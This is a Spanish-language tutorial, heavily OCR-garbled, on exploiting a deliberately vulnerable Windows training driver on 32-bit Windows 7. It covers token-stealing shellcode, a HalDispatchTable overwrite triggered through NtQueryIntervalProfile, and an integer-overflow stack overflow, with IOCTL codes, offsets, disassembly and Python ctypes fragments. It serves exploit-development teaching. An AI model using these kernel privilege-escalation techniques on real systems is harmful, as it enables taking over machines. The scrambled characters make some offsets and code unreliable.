que busca a con nuación dentro de ETHREAD, estará dentro de KTHREAD íues esta ul ma ene de
largo 0x200.
Vemos que el camío 0x50 no nos lo muestra jeje, esta dentro de la estructura _KAPC_STATE que esta
en el o set 0x40.
Si lo leemos y íasa a EAX emos que es el famoso numerito EPROCESS o KPROCESS es lo mismo? No
íero casi jeje
Vemos que KPROCESS esta en el camío 0 de EPROCESS asi que bueno la direccion coincide, si a íar r
de ese alor, le suma o set menores a 0x98 que es el largo de KPROCESS estará dentro de este, si es
mayor a 0x98 ya estará en el resto de la estructura EPROCESS.
Vemos que lee el camío 0xB8 íor lo tanto estamos ya fuera de KPROCESS y dentro de EPROCESS.
Como en el ejercicio anterior había armado una estructura EPROCESS que no estaba comíleta íero
me sir e
Aíreto T y la busco y es el FLINK o sea que aíunta al Ac eProcessLink del íroceso siguiente, como
eso esta en 0xb8 le resta esa constante íara hallar el EPROCESS del íroceso siguiente.
En EAX debería quedar el EPROCESS del siguiente íroceso.
Como no hay mas suíongo que debe aíuntar a un inicio íara emíezar a recorrer de nue o, eamos.
Vemos que comíara el alor del camío 0xb4 de ese EPROCESS con 4, eamos que es 0xb4 asi lo
agregamos a nuestra estructura.
Ahí quedo.
Vemos que el alor no es 4, asi que seguimos traceando, seguro emíezara de nue o íor el írimer
íroceso eamos.
Ahí esta uel e a comenzar desde el inicio en este caso el PID o CID es 4 y corresíonde al íroceso
SYSTEM.
Ahora si encontró el EPROCESS del íroceso SYSTEM, íor lo tanto saldrá del looí que recorre todos los
írocesos.
Vemos que lee el camío 0xf8 del EPROCESS del íroceso system eamos que hay alli.
Bueno eso coíiando el Token de system en nuestro EPROCESS tendremos íri ilegios SYSTEM, y eso
hace ahí, lee el Token de SYSTEM.
Y como ECX tenia nuestro EPROCESS le suma también 0xf8 íara guardar el Token de SYSTEM en
nuestro íroceso.
Recuerden que son Tokens de diferentes írocesos EAX aíunta al EPROCESS de SYSTEM y ECX a
nuestro EPROCESS de Python.exe.
Con esto ya esta listo eamos si con el ret ol emos bien a que siga corriendo el dri er y no haya
íroblema.
Vol ió íerfecto al mismo íunto donde ol ería si en ez de ejecutar nuestro shellcode, hubiera uelto
al íadre de la función ulnerable y este debería ol er a su íroíio íadre aquí, con el stack en la
misma íosición, hay que asegurarse bien eso sino habrá íantalla azul.
Iiual nos servirá para ir tomando un poco de confanna con ctypes que es un poco complicado y ir
avannando de a poco.
En el dispatcher que maneja los distntos IOCTL vemos que hay uno que marca ARBITRARY
OVERWRITE, asi que lo marcamos, veamos primero que valor de IOCTL nos trae aquí.
Vemos que viene restando a EAX la constante 4 dos veces y antes le resta 0x222003
Python>hex(0x222003+8)
0x22200b
Asi que con ese IOCTL lleia al bloque que necesitamos de la vulnerabilidad ya que :
0x22200b - 0x222003-4-4=0
Recordemos que en IRP mas 0x60 esta el puntero a la estructura _IO_STACK_LOCATION, era 0x40 de
Tail en la estructura IRP, y dentro de Tail en el ofset 0x20 apunta a CurentStackLocaton
Asi que 0x60 es el ofset de CurentStackLocaton que es del tpo _IO_STACK_LOCATION.
La pasa a los dos ariumentos el puntero a IRP en EDI como primero y el puntero a la estructura
_IO_STACK_LOCATION.
nt!_IO_STACK_LOCATION
+0x000 MajorFuncton : UChar
+0x001 MinorFuncton : UChar
+0x002 Flais : UChar
+0x003 Control : UChar
+0x004 Parameters : <unnamed-tai>
Ya vimos que los Parameters variaban seiún el caso, para cuando se llama a DeviceIoControl, es
En el ofset 0x10 desde el inicio (recordemos que hay que sumarles los 0x4 de Parameters) para el
caso DeviceIoControl esta el campo Type3InputBufer.
+0x000 DeviceIoControl
+0x000 OutputBuferLenith es nOutBuferSine
+0x004 InputBuferLenith es nInBuferSine
+0x008 IoControlCode es dwIoControlCode
+0x00c Type3InputBufer es lpInBufer
Asi que ese es nuestro bufer de entrada que le pasamos a la api DeviceIoControl.
Vemos que a ESI se mueve la direccion de nuestro bufer que aquí lo llama UserWriteWhatWhere e
imprime la direccion del mismo.
Lueio vemos que lee el contenido de ESI y de ESI mas 4 e imprime sus direcciones lo cual nos hace
pensar que es una estructura de dos punteros, alli nos dice que su sine es 8.
Asi que crearemos una estructura de 8 bytes, se ve que los dos campos son What y Where y que
ambos son punteros asi que en 32 bits serán de 4 bytes cada uno.
Asi que alli imprime los valores de What y Where
EDI es What, asi que debe ser un puntero, ya que busca el contenido de [EDI] y lo escribe en el
contenido de Where en [EBX].
Asi que What debe ser un puntero a un puntero a nuestro códiio, y en Where habrá que buscar una
tabla donde escribir (posiblemente un CALL indirecto para que escribamos el puntero a nuestro
códiio y termine saltando a ejecutar el mismo.
Hay muchas posibilidades para explotar esto aliunas mas modernas, nosotros usaremos el viejo
método de la tabla HAL. (no unciona en sistemas con la protección de Intel SMEP por eso en
Windows XP y 7 aun va)
Intel CPU feature: Supervisor Mode Execution Protection (SMEP). This feature is
enabled by toggling a bit in the cr4 register, and the result is the CPU will generate a
fault whenever ring0 attempts to execute code from a page marked with the user bit.
O sea que si desde kernel saltas a ejecutar una paiina marcada como perteneciente a USER da una
excepción, evitando ejecutar como en el método que vamos a ver ahora.
Iiual pudiendo escribir en KERNEL donde quieres, podes lleiar a deshabilitar con suerte, habilidad y
alio mas, estas protecciones, por ahora nos concentraremos en la vieja orma de explotar que sirve
para WIN XP y 7 de 32 bits y también puede servir en procesadores que no tenian SMEP en otros
sistemas.
Bueno existe una unción importada por la ntdll llamada NtQueryIntervalProfle, si abro en otro IDA la
ntdll.dll de 32 bits veo en las unciones EXPORTADAS que esta alli.
A la unción nt!KeQueryIntervalProfle
nt!KeQueryIntervalProfle:
82911891 8bf mov edi,edi
82911893 55 push ebp
82911894 8bec mov ebp,esp
82911896 83ec10 sub esp,10h
82911899 83 801 cmp eax,1
8291189c 7507 jne nt!KeQueryIntervalProfle+0x14 (829118a5)
8291189e a188ca7a82 mov eax,dword ptr [nt!KiProfleAliinmentFixupInterval (827aca88)]
829118a3 c9 leave
829118a4 c3 ret
829118a5 8945 0 mov dword ptr [ebp-10h],eax
829118a8 8d45 c lea eax,[ebp-4]
829118ab 50 push eax
829118ac 8d45 0 lea eax,[ebp-10h]
829118a 50 push eax
829118b0 6a0c push 0Ch
829118b2 6a01 push 1
kd> u
nt!KeQueryIntervalProfle+0x23:
829118b4 f15bc237782 call dword ptr [nt!HalDispatchTable+0x4 (827723bc)]
829118ba 85c0 test eax,eax
829118bc 7c0b jl nt!KeQueryIntervalProfle+0x38 (829118c9)
829118be 807d 400 cmp byte ptr [ebp-0Ch],0
829118c2 7405 je nt!KeQueryIntervalProfle+0x38 (829118c9)
829118c4 8b45 8 mov eax,dword ptr [ebp-8]
829118c7 c9 leave
829118c8 c3 ret
Y salta a una direccion de KERNEL que esta en la tabla HAL Dispatch mas 4.
El método es ese, ya que desde user no podemos escribir dicha tabla, la vulnerabilidad en kernel nos
permite escribir donde queramos asi que la direccion a escribir sera el contenido de nt!
HalDispatchTable+0x4 y lo debemos hacer pisándolo con el puntero a un bufer con nuestro códiio.
Lo bueno es que despues podemos triiierear cuando queremos, ya que la api se puede llamar desde
user, asi que con llamarla normalmente desde nuestro script al fnal lleiara aquí
Y saltara a códiio al no haber SMEP ya que no se verifca que la paiina donde salta no es de kernel
sino esta marcada como paiina user.
Adjunto el script para el que lo quiera probar iiual es bastante lario asi que lo explicaremos en la
parte siiuiente, recuerden que solo va en un tariet Windows 7 de 32 bits.
Igual el método es bastante antguoo lo usamos en mi trabajo bastante hace ratoo aunque no usamos
ctypeso por lo cual si hay algún error al usar ctypeso sepan disculpar no es lo que uso cotdianamente.
ueremos el script que como dijimos por ahora solo funciona en w7 de 32 bitso no en maquinas de 64
bits mas adelante lo miraremos en una maquina de 64 bits para adaptarlo al caso.
espues de los imports necesarios entre los cuales esta ctypeso algunas constantes que necesitamoso
clases y funcioneso mas abajo empieza el código principal aquí.
Tenemos el shellcode que es parecido al de el stacs overfow solo cambia el reto aquí es RETN soloo en
el otro era RETN 8o como dijimos aquí no pisamos un return address. Pero si uno tracea ve que para
que retorne del CALL que salta a ejecutar nuestro código se necesita un RETNo ya lo veremos cuando
lo traceemos.
Luego usamos CreateFile como en el caso anterior para abrir el driver y obtener el handle al mismo.
Por supuesto uno debe ir probando paso a paso cada cosa que va haciendo para ver si fallao lo cual si
ocurreo sera posiblemente por algún argumento mal pasado.
import ctypes
Lo hacemos asi
Nos ahorraremos de tpear ctypes muchísimas veces ya que por ejemplo escribiríamos.
sizeof(c_int)
En vez de
ctypes.sizeof(ctypes.c_int)
Asi que lo cambie hice un replace de ctypes. por nada y agregue el nuevo import y quedara mas
sencillo.
Ahora sio sigamos.
En el exploit original hay dos llamadas que aquí reemplazamos por otra cosao era asi
ay una llamada a GetProcess eap que nos da un handle para llamar a eapAlloc y allocar un size
determinado.
El problema es que en C hay un casteo ya que hay una estructura de nida y se castea el puntero que
devuelve eapAlloc a que sea del tpo de esa estructura.
Esta de nido el tpo de estructura _WRITE_W AT_W ERE y el puntero a la mismao obviamente no
tengo la menor idea de como castear el resultado de eapAlloc a una estructura en ctypeso quizás
haya algún método mas sencilloo yo lo que use nalmente fue.
e nir la estructura en ctypes como una clase que hereda del tpo tructure.
uemos que se de ne una clase que hereda de tructureo en C eran dos campos tpo puntero a un
ULONG y acá para respetar el largo al menos en 32 bits les puse que cada campo es del tpo c_void_p.
que es un puntero a un void.
e esta forma al igual que en Co usando la instancia se podrán manejar los campos
uemos que en la consola de Python si ejecuto de nición de la claseo luego hago una instancia de la
mismao puedo leer y escribir valores en los campos sin problemas.
Luego va a tratar de obtener la direccion de la tabla AL dentro de una función propia llamada
Get al ispatchTableo veamos que hace.
uemos que usando GetModule andleA o LoadLibrary saca la imagebase de ntdll y luego la direccion
de la función importada NtQuerySystemInformaton usando GetProcAddress.
Bueno acá viene la parte de la película en que muere el protagonista vamos con calma jeje.
NtQuery ystemInformaton es una api muy versátl para pedir info acerca de móduloso procesoso etc.
Alli nos dice que el bu er para la info que devolverá normalmente debe ser muy grande y no sabemos
cuanto sera su largo.
Asi que llamamos dos veces a la apio la primera le pasamos 0 en lugar del bu er y 0 size y eso nos
debería devolver en el cuarto argumento que es un puntero al size correctoo el largo que realmente
necesita tenero entonces con ese size creamos un bu er y llamamos nuevamente pasándole este
bu er y ahí nos devolverá correctamente la info.
El argumento u es un LONG y usando ctypes.byref se le pasa un puntero a ese valoro alli escribirá el
size correcto que debería tener el bu ero para que no falle la api.
uemos que en la segunda vez que llamamos a la apio tenemos creado un bu er con el size que guardo
en u que lo hallamos con u.value
buf=create_string_buffer(u.value)
Creamos ese bu er con la función de ctypes create_string_bu er pasándole el size hallado y
llamamos por segunda vez a la misma apio ahora con el bu er de size correctoo y el mismo size en
u.value.
El problema es que ese bu er no nos permitrá manejar el resultado que es del tpo estructura
veamos el código en C.
uemos la mismas dos llamadas a la apio la primera pasándole 0 al bu er y su size y devolviendo el size
necesario en ReturnLenght.
uemos que crea el bu er con eapAlloc y que lo castea a un puntero a una estructura de nidao alli
guardara la información pero no solo esoo sino que podrá manejar los campos de dicha estructura.
Alli vemos como usa los campos mas adelanteo asi que si nosotros creamos el bu er y no hacemos
algo maso nos guardara toda esa información en nuestro bu er en brutoo y no podremos trabajar con
los campos como elo habrá que buscar los o set de cada campo que necesitemos a mano y tratar de
leer cada uno por su o set lo cual es muy molesto.
Eso no seria tanto problema solo que el [1] al lado de Module signi ca que es un Array de estructuras
de tamaño variable y que tendrá tantas estructuras según el campo 1 Counto o sea que sera un Array
de largo.
Aquí realmente si no sos un poco pillo moriste antes de nacer jejeo asi que veamos como se soluciona.
Alli vemos la de nición de las dos estructuras la superior es ja y se de ne tal cual en C con sus tpos
pasados a ctypes.
La segunda en vez de de nirse como una clase se de ne como una función que puede ser llamada con
el argumento del sizeo dentro esta la clase de nida donde con ese valor se crea un array de
estructuras del tpo _ Y TEM_MO ULE_INFORMATION_ENTRY para crearla en runtme.
wintypes.ARRAY (_ Y TEM_MO ULE_INFORMATION_ENTRYonsize))]
e esa forma cuando averigüemos el valor del size llamaremos a la función pasándole ese valoro
creara el array de estructuras con el size correctoo y devolverá el el return la clase creada con ese size.
Luego se crea la instancia a ese claseo sera mas grande que el bu er necesario .Eso es porque usamos
el size total del bu er para crear el Arrayo por lo cual esta instancia sera mucho mas grande que el
bu er necesarioo no importa.
uemos que el bu er real esta creado con el size correcto.o lo cual hará que la api copie correctamente
en el mismo la información de todos los módulos.
Copiamos lo que leímos del bu er a la instancia que es mas grande asi que no habrá problemaso
también el campo Count tendremos la cantdad real de estructuras que hay en el array asi que no
importa que haya reservadas de mas y estén vacías ya que trabajaremos solo con la cantdad real que
nos devolvió la api.
O sea que en resumidas cuentas yo cree una instancia con un array que seguro tene un numero mas
grande de estructuraso y luego usare la cantdad correcta de las mismas que es menor a la que
reserve.
uemos que el saca la base y el nombre del primer modulo que esta en la posición 0 del array.
Modules[0] sera la estructura para el primer moduloo Modules[1] para el segundo etc.
Eso nos da la imagebase en sernel de ntsrnlpa.exe y su nombre quizás podría chequearse que si no es
este moduloo siga buscando en el array hasta que lo halleo pero aparentemente siempre es el primero.
uemos que tuve que extraer el nombre ya que nos devuelve el path completo.
uemos que a la misma librería que esta en sernel la carga en user usando LoadLibrary.
Como al ispatchTable es una función exportada saca su direccion en user que pillin.
Luego resta la base en user con la direccion de la función en user y saca el o set que valdrá para
sernel también ya que es la misma librería.
Y luego le suma ese o set a la base que habíamos hallado de la misma librería en sernel con lo cual ya
tenemos la direccion de la tabla en sernel.
Una vez que vuelve le suma 4 que es el largo de un puntero en 32 bits (en 64 bits sumaria 8) ya que
como recordamos era la tabla mas 4 el lugar donde debemos escribir en 32 bits.
Recordemos esto
Asi que ya podemos escribir ahí usando la vulnerabilidad que nos permite escribir donde queremos.
uoy a preparar la estructura que le voy a pasar.
El tenia la estructura
uemos que creo un bu er de largo 2 punteros y los copio en la instancia que es del mismo largo.(no
es necesario estoo pero no importa)
Le doy permiso de ejecución a la direccion donde esta guardada mi shellcode que la hallo con
addressof otra función de ctypes.
Como el What debe haber un puntero a un puntero a nuestro código uso de nuevo addressof.
Alli le paso el puntero a la estructura y el tamaño de la mismao lo cual escribirá donde queremos ya lo
debuggearemos y al nal llamo a NtQueryIntervalPro le para saltar a ejecutar.
Que era la api que desde user permi a llegar al CALL IN IRECTO que saltara a nuestro shellcode.
Atacheo el I A.
Cuando parao al tracear veo que en ECX en mi caso esta la direccion de la estructura completa o sea
0x1420328 si miro alli.
Podemos buscar la direccion justa del segmento en windbg pero con poner una direccion anterior
funcionara.
Una direccion anterior que termine en ceros anterior el nal lo dejamos en 0x lo arreglara I A
con eso ya podemos cambiar a WOR .
i creo la estructura en I A
abiamos también que el What era un puntero a un puntero a nuestro shellcode veamos.
Y esto apunta a
espues de crear un segmento pues esta direccion es menor que el inicio del anterior apreto C
Y alli esta el código asi que ahora traceemos desde el lugar donde estábamos.
Llega alli
Como E I era un puntero a un puntero a mi shellcode al hallar el contenido EAX es solo un puntero a
mi shellcode.
Pisara ese valoro realmente para que el sistema quede estable despues de ejecutar nuestro shellcode
deberiamos agregar un código que halle de nuevo este valor y lo restaure allio por si el sistema llama
nuevamente y no se produzca un B O pero no lo haremos aquí.
uemos que ahora que lo pisamos quedo apuntando a nuestro shellcode
windll.ntdll.NtQueryIntervalProfile(0x1337,
byref(Interval))
uemos que el return address nos marca adonde debe volver y que fue llamado de ese call.
Que es el mismo que vimos antes y que llegamos al pisar esa tabla
i cargamos los simbolos con .reload /f y esperamos un rato que se descongele I Ao luego con s
veremos el call stacs completo desde user y veremos que fue llamado desde la api
NtQueryIntervalPro le o ZwQueryIntervalPro le que es lo mismo.
La cuestón es que llegamos al shellcode y como antes robara el Tosen de ystem y veamos si al llegar
al RET vuelve bien.
i vuelve bien si le doy RUN vere la calculadora ystem que lanzo.
Por supuesto esto puede funcionar un rato porque al no restaurar el puntero original puede producir
crasheso igual la idea es ver el método y aprendero ya sabemos que eso puede ocurriro asi que en
ámbitos reales habrá que hacerloo yo ya no tengo ganas jeje.
Bueno como vemos esto funciona en 32 bits y en 64 bits habrá que adaptar bien los tpos de datos
para el casoo por ahora esta bueno practcar con esto.
Muchos me preguntan porque no analizarlo directamente en C o C++, el tema es que ya están hechos
algunos en c y c++, los metodos son los mismos, por lo tanto portarlos a Python no solo aporta algo
nuevo, si no que también nos hace practicar Python y ctypes que es algo importante.
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/tree/master/Exploit
Y alli esta compilado, si quieren intentar alguno pueden debuggear y comparar el resultado que van
teniendo en Python con el original, eso ayuda mucho.
Igual nosotros seguiremos en Python y usando ctypes, que aunque un poco mas molesto, permite hacer
casi lo mismo.
Alli tenemos el bloque que nos llevara el IOCTL que triggerea el integer overflow.
EAX es 0x22201f
Y para que vaya por el camino correcto EDX que contiene nuestro IOCTL debe ser mas grande que
EAX.
Luego pasa nuestro valor a EAX y le resta 0x222023 y si no es cero le resta 4 mas que queda en ECX
luego del PUSH 4 - POP ECX, si el resultado es cero va al bloque correcto.
IOCTL-0x222023-0x4=0
IOCTL=0x222023+0x4
Python>hex(0x222023+4)
0x222027
Ese IOCTL sera el que llegara al bloque donde se triggerea el Integer Overflow, analicemoslo.
Vemos que al igual que en el caso anterior le pasa dos argumentos a la función, uno la direccion de la
estructura IRP y el otro la de _IO_STACK_LOCATION.
Que son el buffer de entrada y el largo del mismo que le pasamos nosotros, no quiere decir que sea el
largo real.
Si la direccion del buffer que creamos en user no es cero, va a la ultima función donde le pasa ambos el
size y el puntero al buffer user como argumentos.
Alli vemos ambos argumentos, también pone a cero una variable Status y en el stack hay un buffer
llamado KernelBuffer veamos su largo.
Son 512 decimal por 4 ya que cada componente es un dword (dd) asi que el largo total da.
Python>hex(512 *4)
0x800
Y bueno inicializa a cero ese buffer primero escribiendo los primeros 4 bytes aquí con EDI que vale
cero, y luego hace un memset de los 0x7fc bytes restantes sumandole 4 al destination en el LEA para
que escriba a partir del 4 byte en adelante.
También hay una estructura alli veremos para que sirve, IDA la detecto.
Vemos que cuando chequea el buffer, no usa el valor que pasamos nosotros de size sino 0x800
harcodeado.
Luego imprime los 4 valores el size que le pasamos del buffer de user, el puntero al buffer de user, la
direccion del KernelBuffer y el size del mismo.
Vemos que IDA nos marca que hay un TRY- EXCEPT o sea que si hay una excepción en ese bloque
salta al de abajo, por eso del bloque superior salen tres flechas, dos las normales de la comparación y la
otra del try-except.
Vemos que toma el size que le pase en EBX y lo va a comparar con la constante 0x800 que esta en ESI.
Pero antes a mi size le suma cuatro, y si es mas bajo esta todo bien .
Ya vemos un problema si pasamos como size por ejemplo 0xffffffff al sumarle 4 se producirá el integer
overflow y el resultado sera
Python>hex((0xffffffff+ 4) )
0x100000003L
Si lo recortamos a 32 bits como hace el procesador
Luego toma el size original y le hace SHR o sea que lo divide por 4 teniendo en cuenta el signo, esto lo
realiza porque copiara DWORDS y el indice va de uno en uno, asi el size es el total dividido 4.
Si lee del buffer de user que le enviamos un valor 0x0BAD0B0B0 saldrá del loop, lo cual hará que no
rompamos todo con un size negativo, muy buena gente el programador.
Finalmente copia en el buffer de kernel, pivoteando con EDI que es el contador por 4, o sea va
copiando de 4 en 4 bytes.
Luego le suma 4 a la direccion del buffer de user, incrementa EDI, lo guarda en Count y listo eso es
todo, asi que podemos producir un stack overflow controlado con un size grande, y que incluso
podemos salir antes que rompa todo el stack, ya que nos da una forma de salida del loop, manejada por
nosotros.
Antes de hacerlo en Python lanzo el ejecutable del exploit para verificar lo que reversee, y como
analizamos usa el IOCTL 0x222027.
Vemos que cuando llega a pisar el return address le pasa un puntero a otro buffer con el shellcode y
como sabemos acá no hay SMEP asi que salta alli a ejecutar el shellcode de steal token.
Una vez que creo el segmento lo hago código con la tecla C y creo la función con CREATE
FUNCTION y se ve mas lindo.
Python>hex(2088)
0x828
O sea que mi buffer sera 0x828 + la direccion para pisar el return address
Le cambio el IOCTL; le pongo el size del user buffer igual a -1, le paso el puntero al user buffer ´para
que pise el return address, en el exploit en C el realizo dos buffer uno para pisar el return address y otro
con el shellcode yo lo metí todo en uno solo.
Vemos que en este caso no hubo mayor dificultad ya que el método es similar al del stack overflow,
teniendo en cuenta que si no tuviéramos el dword de salida la cosa se complica, asi que gracias al
programador jeje.
Hasta la parte 62
Ricardo Narvaja